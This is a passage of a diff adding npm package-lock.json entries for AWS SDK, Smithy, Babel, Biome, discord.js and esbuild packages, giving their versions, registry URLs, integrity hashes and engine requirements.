"dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.8", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-user-agent": "^3.972.38", + "@aws-sdk/region-config-resolver": "^3.972.13", + "@aws-sdk/signature-v4-multi-region": "^3.996.25", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.8", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.24", + "@smithy/config-resolver": "^4.4.17", + "@smithy/core": "^3.23.17", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.32", + "@smithy/middleware-retry": "^4.5.7", + "@smithy/middleware-serde": "^4.2.20", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.6.1", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.13", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.49", + "@smithy/util-defaults-mode-node": "^4.2.54", + "@smithy/util-endpoints": "^3.4.2", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.6", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/region-config-resolver": { + "version": "3.972.13", + "resolved": "https://registry.npmjs.org/@aws-sdk/region-config-resolver/-/region-config-resolver-3.972.13.tgz", + "integrity": "sha512-CvJ2ZIjK/jVD/lbOpowBVElJyC1YxLTIJ13yM0AEo0t2v7swOzGjSA6lJGH+DwZXQhcjUjoYwc8bVYCX5MDr1A==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@smithy/config-resolver": "^4.4.17", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/signature-v4-multi-region": { + "version": "3.996.25", + "resolved": "https://registry.npmjs.org/@aws-sdk/signature-v4-multi-region/-/signature-v4-multi-region-3.996.25.tgz", + "integrity": "sha512-+CMIt3e1VzlklAECmG+DtP1sV8iKq25FuA0OKpnJ4KA0kxUtd7CgClY7/RU6VzJBQwbN4EJ9Ue6plvqx1qGadw==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/middleware-sdk-s3": "^3.972.37", + "@aws-sdk/types": "^3.973.8", + "@smithy/protocol-http": "^5.3.14", + "@smithy/signature-v4": "^5.3.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/token-providers": { + "version": "3.1045.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.1045.0.tgz", + "integrity": "sha512-/o4qcty0DmQola0DBniRVeBakYY6ALOvKEFo1AtJpTmMn/cJ+Fk3RWGe5ieT/f/eYbHG9k5E7poKge/E+WGv4Q==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.8", + "@aws-sdk/nested-clients": "^3.997.6", + "@aws-sdk/types": "^3.973.8", + "@smithy/property-provider": "^4.2.14", + "@smithy/shared-ini-file-loader": "^4.4.9", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/types": { + "version": "3.973.8", + "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.973.8.tgz", + "integrity": "sha512-gjlAdtHMbtR9X5iIhVUvbVcy55KnznpC6bkDUWW9z915bi0ckdUr5cjf16Kp6xq0bP5HBD2xzgbL9F9Quv5vUw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/util-arn-parser": { + "version": "3.972.3", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-arn-parser/-/util-arn-parser-3.972.3.tgz", + "integrity": "sha512-HzSD8PMFrvgi2Kserxuff5VitNq2sgf3w9qxmskKDiDTThWfVteJxuCS9JXiPIPtmCrp+7N9asfIaVhBFORllA==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/util-endpoints": { + "version": "3.996.8", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.996.8.tgz", + "integrity": "sha512-oOZHcRDihk5iEe5V25NVWg45b3qEA8OpHWVdU/XQh8Zj4heVPAJqWvMphQnU7LkufmUo10EpvFPZuQMiFLJK3g==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-endpoints": "^3.4.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/util-format-url": { + "version": "3.972.10", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-format-url/-/util-format-url-3.972.10.tgz", + "integrity": "sha512-DEKiHNJVtNxdyTeQspzY+15Po/kHm6sF0Cs4HV9Q2+lplB63+DrvdeiSoOSdWEWAoO2RcY1veoXVDz2tWxWCgQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@smithy/querystring-builder": "^4.2.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/util-locate-window": { + "version": "3.965.5", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-locate-window/-/util-locate-window-3.965.5.tgz", + "integrity": "sha512-WhlJNNINQB+9qtLtZJcpQdgZw3SCDCpXdUJP7cToGwHbCWCnRckGlc6Bx/OhWwIYFNAn+FIydY8SZ0QmVu3xTQ==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/util-user-agent-browser": { + "version": "3.972.10", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.972.10.tgz", + "integrity": "sha512-FAzqXvfEssGdSIz8ejatan0bOdx1qefBWKF/gWmVBXIP1HkS7v/wjjaqrAGGKvyihrXTXW00/2/1nTJtxpXz7g==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@smithy/types": "^4.14.1", + "bowser": "^2.11.0", + "tslib": "^2.6.2" + } + }, + "node_modules/@aws-sdk/util-user-agent-node": { + "version": "3.973.24", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.973.24.tgz", + "integrity": "sha512-ZWwlkjcIp7cEL8ZfTpTAPNkwx25p7xol0xlKoWVVf22+nsjwmLcHYtTPjIV1cSpmB/b6DaK4cb1fSkvCXHgRdw==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/middleware-user-agent": "^3.972.38", + "@aws-sdk/types": "^3.973.8", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/types": "^4.14.1", + "@smithy/util-config-provider": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "aws-crt": ">=1.0.0" + }, + "peerDependenciesMeta": { + "aws-crt": { + "optional": true + } + } + }, + "node_modules/@aws-sdk/xml-builder": { + "version": "3.972.22", + "resolved": "https://registry.npmjs.org/@aws-sdk/xml-builder/-/xml-builder-3.972.22.tgz", + "integrity": "sha512-PMYKKtJd70IsSG0yHrdAbxBr+ZWBKLvzFZfD3/urxgf6hXVMzuU5M+3MJ5G67RpOmLBu1fAUN65SbWuKUCOlAA==", + "license": "Apache-2.0", + "dependencies": { + "@nodable/entities": "2.1.0", + "@smithy/types": "^4.14.1", + "fast-xml-parser": "5.7.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws/lambda-invoke-store": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/@aws/lambda-invoke-store/-/lambda-invoke-store-0.2.4.tgz", + "integrity": "sha512-iY8yvjE0y651BixKNPgmv1WrQc+GZ142sb0z4gYnChDDY2YqI4P/jsSopBWrKfAt7LOJAkOXt7rC/hms+WclQQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz", + "integrity": "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==", + "license": "MIT", + "dependencies": { + "@babel/helper-validator-identifier": "^7.28.5", + "js-tokens": "^4.0.0", + "picocolors": "^1.1.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", + "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", + "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.29.3", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.3.tgz", + "integrity": "sha512-b3ctpQwp+PROvU/cttc4OYl4MzfJUWy6FZg+PMXfzmt/+39iHVF0sDfqay8TQM3JA2EUOyKcFZt75jWriQijsA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.29.0" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/runtime": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.28.6.tgz", + "integrity": "sha512-05WQkdpL9COIMz4LjTxGpPNCdlpyimKppYNoJ5Di5EUObifl8t4tuLuUBBZEpoLYOmfvIWrsp9fCl0HoPRVTdA==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz", + "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.27.1", + "@babel/helper-validator-identifier": "^7.28.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@bcoe/v8-coverage": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-1.0.2.tgz", + "integrity": "sha512-6zABk/ECA/QYSCQ1NGiVwwbQerUCZ+TQbp64Q3AgmfNvurHH0j8TtXa1qbShXA6qqkpAj4V5W8pP6mLe1mcMqA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/@biomejs/biome": { + "version": "2.4.14", + "resolved": "https://registry.npmjs.org/@biomejs/biome/-/biome-2.4.14.tgz", + "integrity": "sha512-TmAvxOEgrpLypzVGJ8FulIZnlyA9TxrO1hyqYrCz9r+bwma9xXxuLA5IuYnj55XQneFx460KjRbx6SWGLkg3bQ==", + "dev": true, + "license": "MIT OR Apache-2.0", + "bin": { + "biome": "bin/biome" + }, + "engines": { + "node": ">=14.21.3" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/biome" + }, + "optionalDependencies": { + "@biomejs/cli-darwin-arm64": "2.4.14", + "@biomejs/cli-darwin-x64": "2.4.14", + "@biomejs/cli-linux-arm64": "2.4.14", + "@biomejs/cli-linux-arm64-musl": "2.4.14", + "@biomejs/cli-linux-x64": "2.4.14", + "@biomejs/cli-linux-x64-musl": "2.4.14", + "@biomejs/cli-win32-arm64": "2.4.14", + "@biomejs/cli-win32-x64": "2.4.14" + } + }, + "node_modules/@biomejs/cli-darwin-arm64": { + "version": "2.4.14", + "resolved": "https://registry.npmjs.org/@biomejs/cli-darwin-arm64/-/cli-darwin-arm64-2.4.14.tgz", + "integrity": "sha512-XvgoE9XOawUOQPdmvs4J7wPhi/DLwSCGks3AlPJDmh34O0awRTqCED1HRcRDdpf1Zrp4us4MGOOdIxNpbqNF5Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT OR Apache-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=14.21.3" + } + }, + "node_modules/@biomejs/cli-darwin-x64": { + "version": "2.4.14", + "resolved": "https://registry.npmjs.org/@biomejs/cli-darwin-x64/-/cli-darwin-x64-2.4.14.tgz", + "integrity": "sha512-jE7hKBCFhOx3uUh+ZkWBfOHxAcILPfhFplNkuID/eZeSTLHzfZzoZxW8fbqY9xXRnPi7jGNAf1iPVR+0yWsM/Q==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT OR Apache-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=14.21.3" + } + }, + "node_modules/@biomejs/cli-linux-arm64": { + "version": "2.4.14", + "resolved": "https://registry.npmjs.org/@biomejs/cli-linux-arm64/-/cli-linux-arm64-2.4.14.tgz", + "integrity": "sha512-2TELhZnW5RSLL063l9rc5xLpA0ZIw0Ccwy/0q384rvNAgFw3yI76bd59547yxowdQr5MNPET/xDLrLuvgSeeWQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT OR Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=14.21.3" + } + }, + "node_modules/@biomejs/cli-linux-arm64-musl": { + "version": "2.4.14", + "resolved": "https://registry.npmjs.org/@biomejs/cli-linux-arm64-musl/-/cli-linux-arm64-musl-2.4.14.tgz", + "integrity": "sha512-/z+6gqAqqUQTHazwStxSXKHg9b8UvqBmDFRp+c4wYbq2KXhELQDon9EoC9RpmQ8JWkqQx/lIUy/cs+MhzDZp6A==", + "cpu": [ + "arm64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT OR Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=14.21.3" + } + }, + "node_modules/@biomejs/cli-linux-x64": { + "version": "2.4.14", + "resolved": "https://registry.npmjs.org/@biomejs/cli-linux-x64/-/cli-linux-x64-2.4.14.tgz", + "integrity": "sha512-zHrlQZDBDUz4OLAraYpWKcnLS6HOewBFWYOzY91d1ZjdqZwibOyb6BEu6WuWLugyo0P3riCmsbV9UqV1cSXwQg==", + "cpu": [ + "x64" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT OR Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=14.21.3" + } + }, + "node_modules/@biomejs/cli-linux-x64-musl": { + "version": "2.4.14", + "resolved": "https://registry.npmjs.org/@biomejs/cli-linux-x64-musl/-/cli-linux-x64-musl-2.4.14.tgz", + "integrity": "sha512-R6BWgJdQOwW9ulJatuTVrQkjnODjqHZkKNOqb1sz++3Noe5LYd0i3PchnOBUCYAPHoPWHhjJqbdZlHEu0hpjdA==", + "cpu": [ + "x64" + ], + "dev": true, + "libc": [ + "musl" + ], + "license": "MIT OR Apache-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=14.21.3" + } + }, + "node_modules/@biomejs/cli-win32-arm64": { + "version": "2.4.14", + "resolved": "https://registry.npmjs.org/@biomejs/cli-win32-arm64/-/cli-win32-arm64-2.4.14.tgz", + "integrity": "sha512-M3EH5hqOI/F/FUA2u4xcLoUgmxd218mvuj/6JL7Hv2toQvr2/AdOvKSpGkoRuWFCtQPVa+ZqkEV3Q5xBA9+XSA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT OR Apache-2.0", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=14.21.3" + } + }, + "node_modules/@biomejs/cli-win32-x64": { + "version": "2.4.14", + "resolved": "https://registry.npmjs.org/@biomejs/cli-win32-x64/-/cli-win32-x64-2.4.14.tgz", + "integrity": "sha512-WL0EG5qE+EAKomGXbf2g6VnSKJhTL3tXC0QRzWRwA5VpjxNYa6H4P7ZWfymbGE4IhZZQi1KXQ2R0YjwInmz2fA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT OR Apache-2.0", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=14.21.3" + } + }, + "node_modules/@borewit/text-codec": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/@borewit/text-codec/-/text-codec-0.2.2.tgz", + "integrity": "sha512-DDaRehssg1aNrH4+2hnj1B7vnUGEjU6OIlyRdkMd0aUdIUvKXrJfXsy8LVtXAy7DRvYVluWbMspsRhz2lcW0mQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "node_modules/@bufbuild/protobuf": { + "version": "2.12.0", + "resolved": "https://registry.npmjs.org/@bufbuild/protobuf/-/protobuf-2.12.0.tgz", + "integrity": "sha512-B/XlCaFIP8LOwzo+bz5uFzATYokcwCKQcghqnlfwSmM5eX/qTkvDBnDPs+gXtX/RyjxJ4DRikECcPJbyALA8FA==", + "license": "(Apache-2.0 AND BSD-3-Clause)" + }, + "node_modules/@clack/core": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@clack/core/-/core-1.3.0.tgz", + "integrity": "sha512-xJPHpAmEQUBrXSLx0gF+q5K/IyihXpsHZcha+jB+tyahsKRK3Dxo4D0coZDewHo12NhiuzC3dTtMPbm53GEAAA==", + "license": "MIT", + "dependencies": { + "fast-wrap-ansi": "^0.2.0", + "sisteransi": "^1.0.5" + }, + "engines": { + "node": ">= 20.12.0" + } + }, + "node_modules/@clack/prompts": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@clack/prompts/-/prompts-1.3.0.tgz", + "integrity": "sha512-GgcWwRCs/xPtaqlMy8qRhPnZf9vlWcWZNHAitnVQ3yk7JmSralSiq5q07yaffYE8SogtDm7zFeKccx1QNVARpw==", + "license": "MIT", + "dependencies": { + "@clack/core": "1.3.0", + "fast-string-width": "^3.0.2", + "fast-wrap-ansi": "^0.2.0", + "sisteransi": "^1.0.5" + }, + "engines": { + "node": ">= 20.12.0" + } + }, + "node_modules/@colors/colors": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/@colors/colors/-/colors-1.5.0.tgz", + "integrity": "sha512-ooWCrlZP11i8GImSjTHYHLkvFDP48nS4+204nGb1RiX/WXYHmJA2III9/e2DWVabCESdW7hBAEzHRqUn9OUVvQ==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.1.90" + } + }, + "node_modules/@dependents/detective-less": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/@dependents/detective-less/-/detective-less-5.0.3.tgz", + "integrity": "sha512-v6oD9Ukp+N7V4n6p5I/+mM5fIohSfkrDSGlFm5w/pYmchvbk+sMIHsLxrFJ5Lnujewj1BzWL0K84d88lwZAMQA==", + "dev": true, + "license": "MIT", + "dependencies": { + "gonzales-pe": "^4.3.0", + "node-source-walk": "^7.0.1" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/@discordjs/builders": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@discordjs/builders/-/builders-1.14.1.tgz", + "integrity": "sha512-gSKkhXLqs96TCzk66VZuHHl8z2bQMJFGwrXC0f33ngK+FLNau4hU1PYny3DNJfNdSH+gVMzE85/d5FQ2BpcNwQ==", + "license": "Apache-2.0", + "dependencies": { + "@discordjs/formatters": "^0.6.2", + "@discordjs/util": "^1.2.0", + "@sapphire/shapeshift": "^4.0.0", + "discord-api-types": "^0.38.40", + "fast-deep-equal": "^3.1.3", + "ts-mixer": "^6.0.4", + "tslib": "^2.6.3" + }, + "engines": { + "node": ">=16.11.0" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, + "node_modules/@discordjs/collection": { + "version": "1.5.3", + "resolved": "https://registry.npmjs.org/@discordjs/collection/-/collection-1.5.3.tgz", + "integrity": "sha512-SVb428OMd3WO1paV3rm6tSjM4wC+Kecaa1EUGX7vc6/fddvw/6lg90z4QtCqm21zvVe92vMMDt9+DkIvjXImQQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=16.11.0" + } + }, + "node_modules/@discordjs/formatters": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/@discordjs/formatters/-/formatters-0.6.2.tgz", + "integrity": "sha512-y4UPwWhH6vChKRkGdMB4odasUbHOUwy7KL+OVwF86PvT6QVOwElx+TiI1/6kcmcEe+g5YRXJFiXSXUdabqZOvQ==", + "license": "Apache-2.0", + "dependencies": { + "discord-api-types": "^0.38.33" + }, + "engines": { + "node": ">=16.11.0" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, + "node_modules/@discordjs/rest": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/@discordjs/rest/-/rest-2.6.1.tgz", + "integrity": "sha512-wwQdgjeaoYFiaG+atbqx6aJDpqW7JHAo0HrQkBTbYzM3/PJ3GweQIpgElNcGZ26DCUOXMyawYd0YF7vtr+fZXg==", + "license": "Apache-2.0", + "dependencies": { + "@discordjs/collection": "^2.1.1", + "@discordjs/util": "^1.2.0", + "@sapphire/async-queue": "^1.5.3", + "@sapphire/snowflake": "^3.5.5", + "@vladfrangu/async_event_emitter": "^2.4.6", + "discord-api-types": "^0.38.40", + "magic-bytes.js": "^1.13.0", + "tslib": "^2.6.3", + "undici": "6.24.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, + "node_modules/@discordjs/rest/node_modules/@discordjs/collection": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/@discordjs/collection/-/collection-2.1.1.tgz", + "integrity": "sha512-LiSusze9Tc7qF03sLCujF5iZp7K+vRNEDBZ86FT9aQAv3vxMLihUvKvpsCWiQ2DJq1tVckopKm1rxomgNUc9hg==", + "license": "Apache-2.0", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, + "node_modules/@discordjs/rest/node_modules/@sapphire/snowflake": { + "version": "3.5.5", + "resolved": "https://registry.npmjs.org/@sapphire/snowflake/-/snowflake-3.5.5.tgz", + "integrity": "sha512-xzvBr1Q1c4lCe7i6sRnrofxeO1QTP/LKQ6A6qy0iB4x5yfiSfARMEQEghojzTNALDTcv8En04qYNIco9/K9eZQ==", + "license": "MIT", + "engines": { + "node": ">=v14.0.0", + "npm": ">=7.0.0" + } + }, + "node_modules/@discordjs/rest/node_modules/undici": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/undici/-/undici-6.24.1.tgz", + "integrity": "sha512-sC+b0tB1whOCzbtlx20fx3WgCXwkW627p4EA9uM+/tNNPkSS+eSEld6pAs9nDv7WbY1UUljBMYPtu9BCOrCWKA==", + "license": "MIT", + "engines": { + "node": ">=18.17" + } + }, + "node_modules/@discordjs/util": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@discordjs/util/-/util-1.2.0.tgz", + "integrity": "sha512-3LKP7F2+atl9vJFhaBjn4nOaSWahZ/yWjOvA4e5pnXkt2qyXRCHLxoBQy81GFtLGCq7K9lPm9R517M1U+/90Qg==", + "license": "Apache-2.0", + "dependencies": { + "discord-api-types": "^0.38.33" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, + "node_modules/@discordjs/ws": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@discordjs/ws/-/ws-1.2.3.tgz", + "integrity": "sha512-wPlQDxEmlDg5IxhJPuxXr3Vy9AjYq5xCvFWGJyD7w7Np8ZGu+Mc+97LCoEc/+AYCo2IDpKioiH0/c/mj5ZR9Uw==", + "license": "Apache-2.0", + "dependencies": { + "@discordjs/collection": "^2.1.0", + "@discordjs/rest": "^2.5.1", + "@discordjs/util": "^1.1.0", + "@sapphire/async-queue": "^1.5.2", + "@types/ws": "^8.5.10", + "@vladfrangu/async_event_emitter": "^2.2.4", + "discord-api-types": "^0.38.1", + "tslib": "^2.6.2", + "ws": "^8.17.0" + }, + "engines": { + "node": ">=16.11.0" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, + "node_modules/@discordjs/ws/node_modules/@discordjs/collection": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/@discordjs/collection/-/collection-2.1.1.tgz", + "integrity": "sha512-LiSusze9Tc7qF03sLCujF5iZp7K+vRNEDBZ86FT9aQAv3vxMLihUvKvpsCWiQ2DJq1tVckopKm1rxomgNUc9hg==", + "license": "Apache-2.0", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/discordjs/discord.js?sponsor" + } + }, + "node_modules/@emnapi/runtime": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.9.0.tgz", + "integrity": "sha512-QN75eB0IH2ywSpRpNddCRfQIhmJYBCJ1x5Lb3IscKAL8bMnVAKnRg8dCoXbHzVLLH7P38N2Z3mtulB7W0J0FKw==", + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.7.tgz", + "integrity": "sha512-EKX3Qwmhz1eMdEJokhALr0YiD0lhQNwDqkPYyPhiSwKrh7/4KRjQc04sZ8db+5DVVnZ1LmbNDI1uAMPEUBnQPg==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.27.7.tgz", + "integrity": "sha512-jbPXvB4Yj2yBV7HUfE2KHe4GJX51QplCN1pGbYjvsyCZbQmies29EoJbkEc+vYuU5o45AfQn37vZlyXy4YJ8RQ==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.27.7.tgz", + "integrity": "sha512-62dPZHpIXzvChfvfLJow3q5dDtiNMkwiRzPylSCfriLvZeq0a1bWChrGx/BbUbPwOrsWKMn8idSllklzBy+dgQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.27.7.tgz", + "integrity": "sha512-x5VpMODneVDb70PYV2VQOmIUUiBtY3D3mPBG8NxVk5CogneYhkR7MmM3yR/uMdITLrC1ml/NV1rj4bMJuy9MCg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.27.7.tgz", + "integrity": "sha512-5lckdqeuBPlKUwvoCXIgI2D9/ABmPq3Rdp7IfL70393YgaASt7tbju3Ac+ePVi3KDH6N2RqePfHnXkaDtY9fkw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.27.7.tgz", + "integrity": "sha512-rYnXrKcXuT7Z+WL5K980jVFdvVKhCHhUwid+dDYQpH+qu+TefcomiMAJpIiC2EM3Rjtq0sO3StMV/+3w3MyyqQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.27.7.tgz", + "integrity": 